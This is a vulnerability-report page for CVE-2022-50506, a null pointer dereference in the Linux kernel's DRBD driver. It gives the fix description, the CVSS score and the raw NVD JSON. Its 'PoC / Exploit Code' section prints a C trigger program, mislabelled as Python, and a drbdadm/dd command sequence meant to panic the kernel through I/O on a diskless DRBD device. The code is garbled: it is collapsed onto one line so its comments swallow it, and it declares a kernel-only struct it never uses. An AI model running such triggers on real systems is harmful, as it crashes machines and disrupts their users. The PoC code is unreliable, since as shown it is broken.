Security Vulnerability Report
中文
CVE-2022-50506 CVSS 5.5 MEDIUM

CVE-2022-50506

Published: 2025-10-04 16:15:48
Last Modified: 2026-03-25 00:33:09
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drbd: only clone bio if we have a backing device Commit c347a787e34cb (drbd: set ->bi_bdev in drbd_req_new) moved a bio_set_dev call (which has since been removed) to "earlier", from drbd_request_prepare to drbd_req_new. The problem is that this accesses device->ldev->backing_bdev, which is not NULL-checked at this point. When we don't have an ldev (i.e. when the DRBD device is diskless), this leads to a null pointer deref. So, only allocate the private_bio if we actually have a disk. This is also a small optimization, since we don't clone the bio to only to immediately free it again in the diskless case.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel(包含commit c347a787e34cb的所有受影响版本,具体取决于发行版)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2022-50506: Trigger NULL pointer dereference in DRBD driver // This PoC demonstrates how to trigger the vulnerability by accessing // a diskless DRBD device. #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/drbd.h> // Note: This vulnerability requires kernel-level access to DRBD devices. // The following demonstrates the conceptual trigger path. int main() { int fd; struct drbd_device *device; // Step 1: Open a DRBD device (e.g., /dev/drbd0) fd = open("/dev/drbd0", O_RDWR); if (fd < 0) { perror("Failed to open DRBD device"); return -1; } // Step 2: Ensure the device is in diskless state (no backing device) // This can be done via: // drbdsetup primary <resource> --diskless // or by detaching the backing device: // drbdadm detach <resource> // Step 3: Attempt I/O operation on the diskless DRBD device // This will trigger drbd_req_new -> access ldev->backing_bdev // -> NULL pointer dereference -> kernel panic char buf[4096]; ssize_t ret = read(fd, buf, sizeof(buf)); if (ret < 0) { perror("I/O operation failed (likely triggered the bug)"); } close(fd); return 0; } // Alternative: Use drbdsetup/drbdadm commands to trigger: // 1. drbdadm up <resource> // 2. drbdadm primary <resource> // 3. drbdadm detach <resource> # Make device diskless // 4. dd if=/dev/drbd0 of=/dev/null bs=4096 count=1 # Trigger NULL deref

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50506", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:47.850", "lastModified": "2026-03-25T00:33:09.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrbd: only clone bio if we have a backing device\n\nCommit c347a787e34cb (drbd: set ->bi_bdev in drbd_req_new) moved a\nbio_set_dev call (which has since been removed) to \"earlier\", from\ndrbd_request_prepare to drbd_req_new.\n\nThe problem is that this accesses device->ldev->backing_bdev, which is\nnot NULL-checked at this point. When we don't have an ldev (i.e. when\nthe DRBD device is diskless), this leads to a null pointer deref.\n\nSo, only allocate the private_bio if we actually have a disk. This is\nalso a small optimization, since we don't clone the bio to only to\nimmediately free it again in the diskless case."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18", "versionEndExcluding": "6.0.6", "matchCriteriaId": "945D2A29-4105-4530-A8BD-10C1D2EA5764"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "E7E331DA-1FB0-4DEC-91AC-7DA69D461C11"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/05580a3bbf3cec677cb00a85dfeb21d6a9b48eaf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6d42ddf7f27b6723549ee6d4c8b1b418b59bf6b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}